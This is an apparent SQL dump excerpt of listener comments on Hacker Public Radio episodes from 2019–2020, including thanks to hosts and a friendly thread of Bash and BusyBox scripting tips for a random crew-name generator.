(2801,2935,'2019-11-05 09:15:24','Ken Fallon','That blows','I think this the video you refereed to \"Backdraft training\" by Keith Thomas\r\n\r\nhttps://www.youtube.com/watch?v=Et_Y_kZXoQQ','2019-11-05 09:17:15'),
(2802,2935,'2019-11-05 09:55:13','Ken Fallon','You\'re Fired','Can you go into how it works with relation to working as a part time fire-fighter. \r\nHow often were you called out ? \r\nAre there laws obliging companies to give you the time off ?\r\nWhat happens if you get injured - who pays the unemployment benefit (WW uitkering) ? Can you get fired from your main job ?\r\nHow much do you make as a volunteer fire-fighter ?\r\nCan you explain the role of the Junior Fire-fighting teams ?','2019-11-05 13:33:20'),
(2803,2936,'2019-11-05 19:34:00','Jon Kulp','Pots','Thanks for holding it down solo this month, Ken! And yes I did think of using a potentiometer instead of a resistor, but this clock\'s case didn\'t have much wiggle room and I wasn\'t up for anything more challenging. A volume knob for the alarm would be fantastic, for sure.','2019-11-05 22:09:02'),
(2804,2939,'2019-11-07 07:47:26','Ken Fallon','Clarification','As a result of this show there is now an \"&#x21E7;Upload&#x21E7;\" button on every page. \r\n\r\n!!! Please note we *do* use your email address everywhere !!!\r\n\r\nIt is associated with your episode and will live on forever \r\n\r\nhttps://hackerpublicradio.org/request_a_slot.php#requesting_slot\r\n\r\n\"Note: This email address will be published on the HPR website and will be given out in the feeds, so please use a public email address for this purpose. Where we publish it we pad it with dot nospam at-sign nospam dot.\r\ni.e. hpr@example.com becomes hpr.nospam@nospam.example.com \"','2022-02-14 13:25:11'),
(2805,2940,'2019-11-08 14:06:49','ClaudioM','Simple Mastodon Timeline View Option','Great episode on Mastodon and the various instances.\r\n\r\nBTW, I heard that you noticed the interface looked like Tweetdeck.  You can change that if you go into Preferences--&gt;Appearance and uncheck the box for the \"Enable advanced web interface\".  This will make the interface much simpler with only the column of the timeline you\'ve chosen (Home, Notifications, Local timeline, or Federated timeline) on the list at the right of the page.  The instance I\'m on (mastodon.xyz) is running version 2.9.3 of Mastodon, so anything at that version or greater should have this option.','2019-11-08 14:08:37'),
(2806,2942,'2019-11-12 04:46:41','tuturto','welcome','Welcome and thanks for the great first episode.\r\n\r\nLike you said, lisps are super-powerful languages that are fun to program with. I feel like lisp is perfect language to write the language you will use to solve your problem with.\r\n\r\nWhen I was coding in lisp (for hobby), I often wrote my program in language I wished I had and then added needed features to language I had with macros.','2019-11-12 08:01:34'),
(2807,2936,'2019-11-19 16:01:52','clacke','Release order or episode order?','I haven\'t rewatched all the movies myself but when I do, and I hope I will with my son at some point, it will be in Machete Order (so named because it was first described on the nomachetejuggling blog).\r\n\r\nThe explanation why is full of spoilers and you can find it online. In short, it takes the journey of one soul, reexamines it through the story of another, then joins the stories in a grand finale.\r\n\r\nThe order is: IV V II III VI and then episode order from then on. It papers over some of Lucas\'s worst narrative mistakes and ruins none of the surprises except one.\r\n\r\nIf this seems silly, then release order. The prequels require original trilogy (TOT) knowledge to fully enjoy, and they ruin important surprises in TOT, so episode order is just not the way.','2019-11-19 16:29:06'),
(2808,2943,'2019-11-21 02:58:34','Carl','Interesting Episode','Interesting ideas.  I really enjoyed this episode and got a bit emotional at the end, which was unexpected.','2019-11-21 10:18:19'),
(2809,2942,'2019-11-21 03:04:21','Carl','Well Done','I thought this was a great episode and the reading didn\'t bother me at all, your enthusiasm for lisps still came through.  Made me want to check into one of them!','2019-11-21 10:18:19'),
(2810,2942,'2019-11-22 08:49:55','gerryk','loved it','I have been a fan of LISPs for years. I haven\'t considered playing with Clojure until you mentioned it, so that\'s the next plan.\r\nGreat first episode.\r\nTY\r\ngerry','2019-11-22 09:00:50'),
(2811,2944,'2019-11-27 22:07:16','Dave Morriss','This is wonderful','Hi Gabriel,\r\n\r\nIt\'s been a busy month and I have only just caught up with this show.\r\n\r\nI\'m amazed by what you have done here. I was running the script while my family were visiting and could see them checking Reddit and YouTube, etc! I could see my main router doing its thing, and my secondary router (being used mainly as a wireless access point and Ethernet switch) also doing what it does. I was impressed the display showed the names I had allocated in /etc/hosts ;-)\r\n\r\nNow they have left it\'s all a lot quieter with my mail client checking various mail feeds and Mastodon updating itself. Fascinating!\r\n\r\nI had a fairly detailed look at your Bash and Awk scripts. Impressive. I shall look further later. As you say, Perl would perhaps be better, but it\'s great to see how powerful (and lightweight) sed and awk can be.\r\n\r\nThanks for putting this together. I really enjoyed this episode.\r\n\r\nDave','2019-11-27 22:08:29'),
(2812,2955,'2019-11-29 20:34:17','b-yeezi','Great first episode','Welcome to the HPR Host Crew! This was a great first episode. I look forward to you next one.','2019-11-29 20:35:32'),
(2813,1585,'2019-11-30 10:32:35','timttmy','Thanks','Hi Ahuka\r\nI just wanted to let you know that I use this template _A_LOT_.\r\nI never studied business at school or even computing. I guess that I taught myself the basics of both over the years. \r\nI like the nice clean, simple layout of your template and have presented it along with proposals to business professionals. I even received a comment from an asset finance manager that they liked how clear the information had been laid out and presented without \"fluff\" trying to sugar coat figures.\r\nSo here I am again grabbing a clean template for another project. :-)\r\n\r\nThanks again.\r\n\r\n-timttmy','2019-11-30 10:47:33'),
(2814,1585,'2019-11-30 20:10:34','Ahuka','I\'m glad it helped','I\'m really glad you found this useful. A fact not widely known in these parts is that I was once a financial manager, so I think my own experience factored into this. I love that these tutorials are still useful for people.','2019-11-30 20:57:54'),
(2815,2957,'2019-12-03 11:36:42','Ken Fallon','Great series but ...','Hi LnB,\r\n\r\nGreat episode and great series. Can I ask that you include the link to the next movie in the previous one as it would be nice to have the ability to play along.\r\n\r\nJust like they do with the HPR Book Club.\r\n\r\nSpeaking of the Book Club.....','2019-12-03 13:00:38'),
(2816,2957,'2019-12-04 00:33:34','lostnbronx','Links','I can do that, though it requires that I have the next one lined up in advance. That\'s a lot of organization! And, of course, this is not an exclusive series; anyone can post a review, and do it in any way they like.','2019-12-04 10:39:55'),
(2817,2957,'2019-12-04 11:56:38','Ken Fallon','Good point','That said anyone planning a episode could add a comment or ping the maillist.\r\n\r\nOf course that would qualify as \"I owe you a show\" \r\n\r\nSpeaking of the HPR Book Club ...','2019-12-04 12:01:23'),
(2818,2959,'2019-12-05 01:50:47','b-yeezi','No problem. I\'ll do it','Great show, Ken. I\'ve been minimally involved in GPodder.net since Stefan first made his announcements. Actually, I was the one that put his original post on the Jupiter Broadcasting and Ubuntu Podcast telegram channels.\r\n\r\nI\'ve been looking for a way to contribute more, and I think this show has provided me an answer (data management stuff). I\'m already on the slack channel, so I\'ll contact them directly.\r\n\r\nKeep up the good work.','2019-12-05 10:13:45'),
(2819,2955,'2019-12-06 10:23:42','gerryk','great! clear and informational','Hi Daniel...\r\nMany thanks for a great epsiode. I have been dabbling in numerical analysis in Python for a few weeks.  I think this is an area I would like to explore next.\r\nWill check out your YT for sure.\r\nRegards\r\nGerry','2019-12-06 10:29:22'),
(2820,2956,'2019-12-10 23:03:26','jezra','No more postcards?','Dag nabbit! I just sent another one','2019-12-10 23:06:46'),
(2821,2962,'2019-12-11 00:25:03','petard','I really enjoyed this','Thanks very much for making and posting this. I massively enjoyed listening, even if nearly everything about it is and will be out of reach for me for the foreseeable future. (I\'m a city creature and nothing resembling brazing is happening in any of my spaces any time soon.)\r\n\r\nI listened to this on my phone with only the benefit of the title on the screen and not the show notes. And I have to say, I was fully expecting that \"bespoke bike building\" was referring to a bespoke building to house bikes, or a [bike shed](https://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#bikeshed-painting).','2019-12-11 08:07:54'),
(2822,2964,'2019-12-12 07:30:20','Ken Fallon','Yes it is of interest to Hackers','I did not know what a the name of a Bolo was.\r\n\r\nWho is the guy modelling the ties, because he looks nothing like Jon Kulp in my head.','2019-12-12 08:28:30'),
(2823,2962,'2019-12-12 11:44:18','Jon Kulp','Excellent progress','This is looking really good! I wish I\'d known about the affordable torch you\'re using when I was building mine. I would definitely have bought one and probably sped up my completion b/c I kept having to wait for our metal shop to be open at a time I could go. It was especially nice to hear your reaction to learning how to braze weld because as a novice I went through the same series of emotions, kind of scared at first and completely stoked after a couple successful joints. It\'s very empowering to learn something like this, isn\'t it? Looking forward to the next episode.','2019-12-12 12:33:01'),
(2824,2964,'2019-12-12 13:13:44','Jon Kulp','the model','Ken, I know I don\'t sound so bald-headed on the radio. People are always surprised by this when we meet F2F.','2019-12-12 13:51:54'),
(2825,2967,'2019-12-17 16:32:54','BRonaldo','WWE','Interesting info. I remember in the early 90s watching the WWF with my dad. Now I know why they changed the name to WWE! The panda won the fight.','2019-12-17 16:36:47'),
(2826,2965,'2019-12-19 00:20:34','Dave Morriss','Cool project!','Hi Beni,\r\n\r\nI remember Macsyma, the predecessor of Maxima. We used to run it on the VAXCluster at the university where I worked, for use by Maths students.\r\n\r\nYour project sounds very cool, wrangling Maxima to receive and process algebra. I\'m mathematically challenged, but I spent a fair bit of my working life in IT writing \"glue\" code to make bits of software talk to one another. This sounds like quite an undertaking!\r\n\r\nGood luck with it, Dave','2019-12-19 00:22:23'),
(2827,2966,'2019-12-19 21:56:39','Jon Kulp','Legacy Tech','Thanks for a really interesting first episode! I don\'t have a history with Commodores (apart from a 1981 novelty belt buckle with a PET computer on it) but this sounds like a fun event and I geek out on old technology. Thanks for including pictures. Looking forward to more episodes!','2019-12-19 21:58:57'),
(2828,2966,'2019-12-19 22:17:03','Dave Morriss','Great show!','Thanks for this Paul. A great first show and some interesting interviews.\r\n\r\nI never owned a Commodore computer but I worked in a university that had many of them. I remember visiting one of the engineering departments in the early 1980\'s which had a lab full of Commodore PETs. I was impressed by the way the top of the case, with the monitor attached, could be lifted up and kept in position - like working on the engine of a car!\r\n\r\nI bought a BBC Model B for my own use around that time. This was another 6502-based machine, which was very popular in the UK. My workplace ended up with lots of these too.\r\n\r\nLooking forward to hearing your further episodes on this subject!\r\n','2019-12-19 14:20:47'),
(2829,2944,'2019-12-23 17:08:37','Gabriel Evenfire','Glad you liked it!','Hey Dave,\r\n\r\nI\'ve been behind on my listening too.  Glad to hear that you liked the scripts and thanks for the feedback!','2019-12-23 17:10:09'),
(2830,2932,'2019-12-24 16:07:22','Gabriel Evenfire','Loved the series','Hey lostinbronx,\r\n\r\nJust wanted to let you know that I really enjoyed listening to this series.  I\'m a long-time RPG player, but can\'t say I\'ve ever done a space opera game.  This was really more due to lack of friends w/ similar interests than lack of interest on my part.  Well that land lack of hours in a day.  :) It was fun to listen to and at times want to yell through the speakers \"no no, don\'t do that, do this!\".  That included a few of the rule suggestions.  I, like you, enjoy systems that get out of the way of the storytelling.  (though I still like some \"crunch\" to them)\r\n\r\nAnyway, thanks for the chance to listen to another foray into the Stardrifter Universe.','2019-12-24 16:14:58'),
(2831,2942,'2019-12-24 16:12:18','Gabriel Evenfire','Great first episode','Fantastic first episode.  Delivery definitely didn\'t sound wooden!  I love the LISP family as well, but this episode was the first time I\'ve heard someone talk about the unique power REPLs in the development environment.  My editors have always been very basic and never head the interpreters embedded. I may have been missing out all this time!  So thanks for showing something new to try out!','2019-12-24 16:14:58'),
(2832,2947,'2019-12-24 16:14:57','Gabriel Evenfire','Enjoying this series','Just wanted to comment that I\'m definitely learning a lot from this series.  While you\'ve shown that there is a lot of detail to cover, you have been doling it out in nice measures.  Thanks and keep it up, please!','2019-12-24 16:16:10'),
(2833,2924,'2019-12-24 16:17:37','Gabriel Evenfire','Fun to listen to as always','Nice show!  Your DIY segments remind me that we don\'t have to accept things as they are and don\'t have to be afraid of trying to make them better.  Thanks for the great show!','2019-12-24 16:46:27'),
(2834,2963,'2019-12-24 16:24:00','Gabriel Evenfire','Great series','Just wanted to comment that this has been a great series.  It\'s been fun to hear about all the ways that you\'ve customized your podcast listening experience.  At first it sounded like we\'d heard it all after you covered the hardware, but listening to the options you\'ve put in the menus, you\'ve clearly got a lot more in there!  My guess would be that you\'re not done either.  (maybe never will be :)  )  Thanks for the shows.  Have always been a fan of your intro music.','2019-12-24 16:46:27'),
(2835,2974,'2019-12-26 22:00:14','NYbill','Heh, editing...','I guess audio editing is a lot like proof reading text for me. I need to step away from it for quite a while or else I read right through my mistakes.  Reading what I meant, not what I wrote.\r\n\r\nWhen I mention SRV and putting heavy strings on an old tele (breaking the nut). They were a set of 12\'s.  I kept saying 10\'s.  \r\n\r\n10\'s are what I usually run on solid body guitars. I sometimes put 11\'s on hollow/semi-hollow type electrics.  You won\'t hurt your guitar going from 9\'s to 10\'s.  But, 9\'s to 12\'s, that is a bit of a jump. \r\n\r\nBTW, I did end up putting 10\'s on this tele. I also pulled a bit more of the relief out of the neck.  Then checked the intonation again after.  I\'ve been plying the guitar ever since. I\'m not sure how quick I\'ll be to give it away now. Its playing sweet.','2019-12-26 22:13:21'),
(2836,2963,'2019-12-27 17:19:42','MrX','Re: Great series','Hi Gabriel, thanks for the nice comments glad you&rsquo;ve enjoyed the series I do very little hacking on this projects these days but I think you are right about it never being finished. Just the other day I included a feature when downloading podcast to include in the message how many podcasts were downloaded.\r\n\r\nAlso glad you enjoyed intro music as I&rsquo;ve probably already mentioned it was something I pulled together many years ago using cakewalk studio maybe version 4 and a creative labs Soundblaster AWE32 sound card. I used a midi keyboard to pull it all together. To be honest it&rsquo;s been that long since I\'ve played a keyboard I&rsquo;m not sure I still can.\r\n\r\nAnyway thanks for taking the time to comment and all the best \r\n\r\nMrX','2019-12-27 17:30:53'),
(2837,95,'2020-01-01 07:18:18','pokey','A long overdue thank you.','Thank you for this episode. Your take on podcast \"sponsorships,\" and the way this episode made me laugh has been the inspiration for many of my own recordings for HPR, DevRandom, and now The Urandom Podcast. Its been more than 10 years, and I still remember HPR #0095 fondly (if not clearly). The commercial spoofs (which are very popular with my co-hosts, and possibly even with our listener) that I do from time to time on https://urandom-podcast.info/ are all just an attempt to share the cynical amusement I felt when I heard Security Wow!.\n','2022-06-03 04:04:53'),
(2838,2979,'2020-01-02 01:17:55','Dave','Like the show','Just wanted to say how much I like the episodes by Mr. Kulp.','2020-01-02 09:57:17'),
(2839,2988,'2020-01-15 17:51:50','ClaudioM','Welcome Back!','So good to have you back on HPR!  Pretty neat story.  Do you have any more like that?  I\'m sure others would be interested in hearing stories like that.\r\n\r\nAgain, welcome back!','2020-01-15 17:55:22'),
(2840,2989,'2020-01-18 16:01:25','beian','silence?','silence removal is not very kind to me... it made for good disjointed rambling though.','2020-01-18 16:03:23'),
(2841,2989,'2020-01-18 16:04:30','brian','oops','there is a crack in my screen, right where my name was misspelled in that comment.. at least i am laughing this morning.','2020-01-18 16:07:06'),
(2842,2988,'2020-01-20 16:02:06','Ken Fallon','Condolences on behalf of HPR','I was very sorry to hear about the passing of your friend and fellow hacker Allison. \r\n\r\n(https://hackerpublicradio.org/eps.php?id=2592)','2022-02-14 13:25:12'),
(2843,2991,'2020-01-20 18:35:32','Ken','Bigclive','Big Clive takes these things apart for fun and entertainment.\r\n\r\nhttps://www.youtube.com/results?search_query=bigclivedotcom+fog+machine','2020-01-20 18:36:41'),
(2844,2992,'2020-01-29 21:10:15','Greg Nacu','Thanks for the episode!','Hi. Thank you for the publicity, and the HPR episode about my presentation of C64 OS at World of Commodore. \r\n\r\nI also appreciate your comments before and after the presentation. For more information about C64 OS the official website is c64os.com.','2020-01-29 21:22:57'),
(2845,3000,'2020-01-31 13:02:59','ClaudioM','Wow...just, WOW!','What a wonderful episode for 3000! I enjoyed this episode on my way to work. Chopin is one of my favorite composers and hearing his works just stirred my heart with emotion, especially the last two pieces. Thank you for sharing this with everyone and thank you HPR for a moving episode 3000!','2020-01-31 13:20:53'),
(2846,3000,'2020-02-02 17:32:30','Ahuka','Great show!','I loved this. I have previously supported a similar effort by Kimiko Ishizaka to record royalty-free versions of Bach. We need more free culture!','2020-02-02 18:26:36'),
(2847,3000,'2020-02-02 21:04:37','mcnalu','Great!','Excellent show. Love Chopin.','2020-02-02 21:33:00'),
(2848,2999,'2020-02-06 17:46:59','Ahuka','Great show!','Thanks for a very good presentation on this exciting protocol. I hope this does get taken up by major sites. The old username/password stuff is not nearly secure enough, and this could be a major upgrade.','2020-02-06 18:08:31'),
(2849,3009,'2020-02-15 08:43:15','Ken Fallon','Mailing list Discussion','https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-February/thread.html','2022-02-14 13:25:12'),
(2850,3009,'2020-02-15 08:44:37','Ken Fallon','Murmer/Mumble','HPR fund a mumble service where you can directly connect to Mumble.\r\n\r\nch1.teamspeak.cc port 64747','2020-02-15 10:59:16'),
(2851,3002,'2020-02-18 05:50:36','Windigo','Thanks for the series','I found all of the World of Commodore episodes you\'ve submitted to be very enjoyable. I don\'t have much experience with Commodores or that era of computing, and hearing what the community is currently able to achieve is fascinating\r\n\r\nThanks for the wonderful series!','2020-02-18 07:29:24'),
(2852,3009,'2020-02-19 04:34:13','Peter Mortensen','The predecessor?','Linux Inlaws? Ha-ha-ha-ha. \r\n\r\nThe successor to Linux Outlaws (2007-2014)? en DOT wikipedia DOT org/wiki/Linux_Outlaws\r\n\r\nHow many will get that reference nearly 6 years later? All the listeners for which the closing of Linux Outlaws left a gaping hole in the podcast landscape?','2020-02-19 08:38:32'),
(2853,3009,'2020-02-19 15:13:00','Chris','LinuxInlaws','@Peter: All will be revealed in a future episode soon. Stay tuned! :-)','2020-02-19 15:14:14'),
(2854,3003,'2020-02-20 11:55:39','folky','Dark reader','Thanks for the recommendation of Dark Reader. It\'s really great. I just would wish it would work on all the about: pages too. really shocking when you suddenly got hit by the brightness.','2020-02-20 11:56:42'),
(2855,3014,'2020-02-20 17:18:38','b-yeezi','Trying this tonight','Thanks for the show. I will be trying out mpg123 on one of my pis tonight!','2020-02-20 17:20:00'),
(2856,3014,'2020-02-20 23:04:07','Jon Kulp','Still Streaming with URL Update','Thanks for the comment, I hope the Pi+mpg123 suits your needs. Mine is still working perfectly after about a month, though I had to update the URL for one of the streams. I love my Pi radio!','2020-02-20 23:06:26'),
(2857,3014,'2020-02-20 23:04:45','b-yeezi','Issue with mpg123','I tried to use mpg123 with a remote stream and found the following problem on Ubuntu 19.10:\r\n\r\nThe URL MUST start with http:// and not https://, or else it looks to play a local file, and you get the error, \"file access error, (code 22)\". If stream redirects http to https, your stream should play. If it doesn\'t, you may be out of luck. For instance, I picked a random podcast on iTunes and it failed to redirect. On the other hand, using a file from HPR works just fine.','2020-02-20 23:06:26'),
(2858,3014,'2020-02-21 12:07:07','Jon Kulp','HTTP not HTTPS','You\'re right! I found the same thing but forgot to mention it in either the recording or the show notes. So far all of the streams I listen to work with the http prefix, though. I seem to recall that command-line VLC (cvlc) can play streams with https but I may be wrong. I\'m on my phone at the moment and can\'t verify.','2020-02-21 12:08:43'),
(2859,3013,'2020-02-24 12:18:26','crvs','So that\'s how you use shebangs!','After all these years I finally understand how you write an awk script! Thank you!','2020-02-24 12:27:25'),
(2860,3013,'2020-02-24 12:55:39','Dave Morriss','Writing awk scripts','Glad the episode was helpful.\r\n\r\nIn case you missed it, there is a series \"Learning Awk\" on HPR which you can find here: https://hackerpublicradio.org/series.php?id=94\r\n\r\nThis has been restructured for publication on opensource.com, starting at https://opensource.com/article/19/10/intro-awk','2022-02-14 13:25:12'),
(2861,3008,'2020-02-26 15:42:07','norrist','These 2 guys should get together more often','What a fun and wandering conversion from 2 interesting people.   Someone should get these 2 together on a regular basis.  Or they should start their own HPR series.  Interesting listening.','2020-02-26 15:55:03'),
(2862,3023,'2020-03-04 10:49:34','Dave Morriss','Bash arithmetic','The expression you use to increment \'i\' stands out to me:\r\n\r\ni=$((( ${i} +1 )))\r\n\r\nBash has pre- and post-increment arithmetic expressions and there\'s a compound command which lets you use:\r\n\r\n((i++))\r\n\r\nLook for \"compound commands\" and \"arithmetic evaluation\" in the Bash documentation. I covered some of this in https://hackerpublicradio.org/eps.php?id=1951\r\n\r\nFor example, the following one-liner sets and increments \'i\' as you do:\r\n\r\ni=1; for name in A B C; do echo \"$i: $name\"; ((i++)); done\r\n1: A\r\n2: B\r\n3: C','2022-02-14 13:25:13'),
(2863,3023,'2020-03-04 16:08:55','Dave Morriss','Another Bash-ism that might be useful','I appreciate that you are not using Bash in your script, but unless you have some strong reason not to I\'d advise using it. Often \'sh\' is just a restricted form of Bash!\r\n\r\nIf you agree then you can change things like:\r\n\r\n  line_num=$(printf \"${crew_member}\" | cut -d\',\' -f1)\r\n  line_num=$(printf \"${crew_member}\" | cut -d\',\' -f2)\r\n\r\ninto:\r\n\r\n  line_num=\"${crew_member%,*}\" # gets first element\r\n  line_num=\"${crew_member#*,}\" # gets second element\r\n\r\nThis only deals with two-element comma-separated lists so it\'s not quite as flexible as \'cut\'.\r\n\r\nThe % provides suffix removal and # prefix removal. I covered this in show 1648 (https://hackerpublicradio.org/eps.php?id=1648)','2022-02-14 13:25:13'),
(2864,3023,'2020-03-04 18:08:21','nobody','There must be an easier way','The biggest problem with your scripting seems to be that you don\'t really know what tools are available and what options they have. My recommendation would be for you to just see what comes included with the coreutils and busybox, you\'ll find all kinds of wonderful little tools there.\r\n\r\nIn bash my solution to this would be this single line:\r\n\r\n    paste ./ranks.txt ./position.txt &lt;(shuf -n 10  first.txt) &lt;(shuf -n 10 last.txt)\r\n\r\nIf you don\'t mind two crewmen having two the same name then you can add -r to the shuf flags, at least when using GNU coreutils.\r\n\r\nSince busybox\' ash lacks the wonderful process substitution of bash (the &lt;(cmd) in the above) I would probably just do something like this:\r\n\r\n    while read -r x do\r\n      printf \'%s %s %sn\' \"$x\" \"$(shuf -n 1 first.txt)\" \"$(shuf -n 1 last.txt)\"\r\n    done &lt;(paste ranks.txt position.txt)\r\n\r\nWith larger files this ash compatible version would be quite inefficient and slow but I doubt that really matters here.','2020-03-04 18:10:29'),
(2865,3023,'2020-03-04 18:11:54','nobody','Little correction to my comment','Forgot to actually remove the bashism... and forgot a semicolon\r\n\r\n    paste ranks.txt position.txt | while read -r x; do\r\n      printf \'%s %s %sn\' \"$x\" \"$(shuf -n 1 first.txt)\" \"$(shuf -n 1 last.txt)\"\r\n    done','2020-03-04 18:23:38'),
(2866,3023,'2020-03-05 04:04:22','Carl','Thanks for the comments','I asked for a critque so I appreciate the comments!\r\n\r\n@Dave\r\nI don\'t have any _strong_ reasons for not using bash, but it boils down to:\r\n- Most of the limited scripting I do is on Raspberry Pi and other SBC type devices, usually with Alpine Linux, which out of the box has /bin/sh as a symlink to busybox, so I work with that in lieu of installing bash.\r\n\r\n- I sort of like the extra challenge of not using bashisms, even if it does make things a bit harder/uglier than it needs to be.\r\n\r\nI\'m at a loss to explain where I came up with the triple parentheses for incrementing i.  I just tried it on busybox and two seems to work fine (though three does also).  The ++ form does not (as you note it would require bash) though I\'m familiar with that form, it just doesn\'t work within the constraints of busybox.','2020-03-05 08:00:11'),
(2867,3023,'2020-03-05 04:05:12','Carl','Thanks for the comments','@nobody\r\n\r\nI looked at shuf for this but it\'s not a busybox builtin and not included out of the box with Alpine, though awk is, which is why I went with it to generate the random number pairs.  So to say that I don\'t know what tools are available is perhaps a little unfair as I did state in the episode that I\'m limiting myself to busybox builtins.  Imposing that limitation on myself is perhaps a little silly, but, it is a fact that I would have to install _something_ to get the additional functionality you reference, and that may not always be possible or desirable in embedded applications.\r\n\r\nActually, I wrote the above so I\'ll leave it there, but I decided to double check.  I usually refer to https://busybox.net/BusyBox.html as a single page reference to the builtins and shuf isn\'t listed but /usr/bin/shuf is indeed a symlink to /bin/busybox on one of my Alpine devices, which is a little annoying.  When I work on a script like this one, I usually do it on my laptop that has all the full tools on it but I double check against the busybox page to make sure I\'m not using a command or an option to a command that busybox doesn\'t support.  Then I test it on one of the devices.','2020-03-05 08:00:11'),
(2868,3024,'2020-03-05 08:11:40','tuturto','great storytelling','I loved the storytelling in this one and use of sound effects. Really made my morning.','2020-03-05 08:14:27'),
(2869,3023,'2020-03-05 10:03:34','nobody','Re: Re:','To see what tools your Busybox come with you should run it without options. Busybox is quite configurable so you should check documentation generated with the same configuration as your target. That web page is either very outdated or generated from some sample configuration.\r\n\r\nBesides, ash also has $RANDOM so using AWK isn\'t really necessary:\r\n\r\necho $((RANDOM%firstnames_len))\r\n\r\nHere is also a fix for Dave\'s suggestion:\r\n\r\ni=1; for name in A B C; do echo \"$((i++)): $name\"; done\r\n\r\nAnd if you use preincrement the i=1 is also unnecessary:\r\n\r\nfor name in A B C; do echo \"$((++i)): $name\"; done','2020-03-05 10:15:05'),
(2870,3009,'2020-03-05 10:51:25','bittin','yay','Hello!\r\n\r\nHeard Chris Zimmermann talking about LBW in FLOSS Weekly and mentioned your podcast also was an old Outlaws listener, so started listening to your new Inlaws show now today :)\r\n\r\nseems nice so far only listened 20 minutes','2020-03-05 10:55:08'),
(2871,3023,'2020-03-05 12:02:25','nobody','Standalone increment in ash','Also if you want the ((i++)) increment for ash you could pretty easily replicate it with:\r\n\r\n: $((i++))','2020-03-05 13:46:56'),
(2872,3023,'2020-03-05 12:32:11','Carl','Neat','&gt; echo $((RANDOM%firstnames_len))\r\nThat\'s neat.  The first time I tried it though I got the same number twice in a row:\r\nm300-01:/srv$ echo $((RANDOM%100))\r\n88\r\nm300-01:/srv$ echo $((RANDOM%100))\r\n88\r\nm300-01:/srv$ echo $((RANDOM%100))\r\n68\r\n\r\nProbably just a fluke but I\'d be interested to test it in rapid succession (eg. a loop) to see if it\'s more prone to do that than the awk random number generator.\r\n\r\nTo be clear, you\'re not suggesting the pre/post increments work on busybox/ash correct - they don\'t appear to unless I\'m doing it wrong:\r\n\r\n-ash: arithmetic syntax error','2020-03-05 13:46:56'),
(2873,3023,'2020-03-05 16:30:40','nobody','$(())','&gt;to see if it\'s more prone to do that than the awk random number generator\r\nI doubt there is any significant difference. Certainly not any that would matter for a project like this.\r\n\r\n&gt;To be clear, you\'re not suggesting the pre/post increments work on busybox/ash correct - they don\'t appear to unless I\'m doing it wrong:\r\nI just threw up a Alpine container and at least there it works just fine. What command did you run that produced this error message?','2020-03-05 16:48:49'),
(2874,3019,'2020-03-05 17:19:44','ClaudioM','FLOSS Weekly #568','Thanks to these episodes, I realized that Chris Zimmerman was also interviewed on FLOSS Weekly #568 where he talks about Linux Bier Wanderung. I thought the voice sounded familiar, so I had to do some research, and yes, it\'s the same Chris from Linux Inlaws. :-)\r\n\r\nhttps://twit.tv/shows/floss-weekly/episodes/568','2020-03-05 18:09:17'),
(2875,3023,'2020-03-05 21:11:58','Carl','Version 3','@nobody, not sure what I did earlier to produce that arithmetic error, I just tried it again and your examples are working.  Sorry about that.\r\n\r\nI just did a third version:\r\nhttps://www.sodface.com/misc/qots-crew-gen3\r\n\r\nGreatly simplified, no loops and just using shuf repeatedly per nobody\'s example to get the first and last name.\r\n\r\nhttps://pastebin.com/iaXw9ZL2\r\n\r\nThanks to both Dave and nobody for the feedback.','2022-02-14 13:25:13'),
(2876,3024,'2020-03-07 09:40:35','MrX','Re great storytelling','Hi tuturto\r\nMany thanks for the kind words, glad you enjoyed the episode it certainly had us stumped when it happened.\r\n\r\nAll the best \r\nMrX','2020-03-07 09:44:38'),
(2877,3025,'2020-03-09 07:51:28','Ken Fallon','I disagree','Hi Ahuka,\r\n\r\nAs you know I am enjoying the series.\r\n\r\nI don\'t think that charging for messaging, however small is the answer. It is socially unfair as it imposes a financial barrier that many may not be able to afford. To quote my mother, \"It\'s not a lot to have, but it\'s a lot to want\". I had to send 100 applications before I got my first job, that would amount to $1 in your proposal. Now put that into context when your income is $41/month, and you see it excludes the poorest nations.\r\nhttps://www.worlddata.info/average-income.php\r\n\r\nIn any event it was tried with email back in the 1990/2000\'s and failed.\r\nhttps://www.geek.com/news/yahoo-introduces-paid-for-e-mail-service-called-centmail-872762/\r\n\r\nHowever it didn\'t stop companies in using the idea for profit.\r\nhttps://www.eff.org/deeplinks/2006/02/aol-yahoo-and-goodmail-taxing-your-email-fun-and-profit\r\n\r\nI also have concerns on any solution that requires a verified identity in order to participate. As soon as you do, you stop been federated, and start been walled gardens. Not to mention the registration process that would be needed, and then would need to be taxed, and surely limited to authorized providers, etc etc.\r\n\r\nI\'m glad of the chance to think about this, so please keep them coming.','2020-03-09 07:53:54'),
(2878,3025,'2020-03-09 15:23:33','Ahuka','Further discussion','To place Serge\'s ideas in context, it should be pointed out first that he intended that the price paid on en e-mail would go to the recipient, which is why he said it would be a wash for most people. As a recovering economist, I do believe that anything that is provided with no charge at all is likely to be abused, and that is what we are talking about. And it is also worth noting that Serge\'s proposal about charging was a way to get around the only other feasible way to control abuse, which is to sharply limit who can send messages. I can, right now, write a rule that says anyone not already in my address book cannot successfully send me e-mail. I just delete on sight any e-mail from someone not in the book.','2020-03-09 16:03:33'),
(2879,3028,'2020-03-11 07:32:53','tuturto','welcome!','Welcome and thanks for the great first show!\r\n\r\nYou jumped directly to the deep end with a show about monads and category theory. When I saw it on the queue, I wanted to listen to it immediately. Instead I sawed it for the morning walk today so I could concentrate to it properly.','2020-03-11 08:23:20'),
(2880,3028,'2020-03-11 10:34:52','crvs','Re: welcome!','Thank you, I\'m glad you enjoyed it!\r\nI hope I was clear enough and not too rambly. I didn\'t go into the monad laws because it was already difficult enough to be somewhat coherent :)','2020-03-11 10:39:47'),
(2881,3034,'2020-03-22 19:47:07','Klaatu','Did not know this','Thanks for the info Thaj. I didn\'t know how to do this, but now I do. I can now be both klaatu and notklaatu on Matrix, and that\'s pretty satisfying.','2020-03-22 19:58:31'),
(2882,3031,'2020-03-22 20:07:41','Klaatu','History','It\'s fascinating to hear about the \"early\" Internet and Internet commerce. Thank you for sharing this history.','2020-03-22 20:10:04'),
(2883,3026,'2020-03-25 18:37:18','Windigo','Great episode','My partner uses hex bug (or similar) robots in her STEAM lessons (STEAM being an acronym for science, tech, engineering, art, and math), but I\'d never heard of battle bots. They sound like loads of fun!\r\n\r\nPlease keep the episodes coming. You have a knack for doing episodes that exemplify the hacker ethos, while being fun and unique!','2020-03-25 19:39:47'),
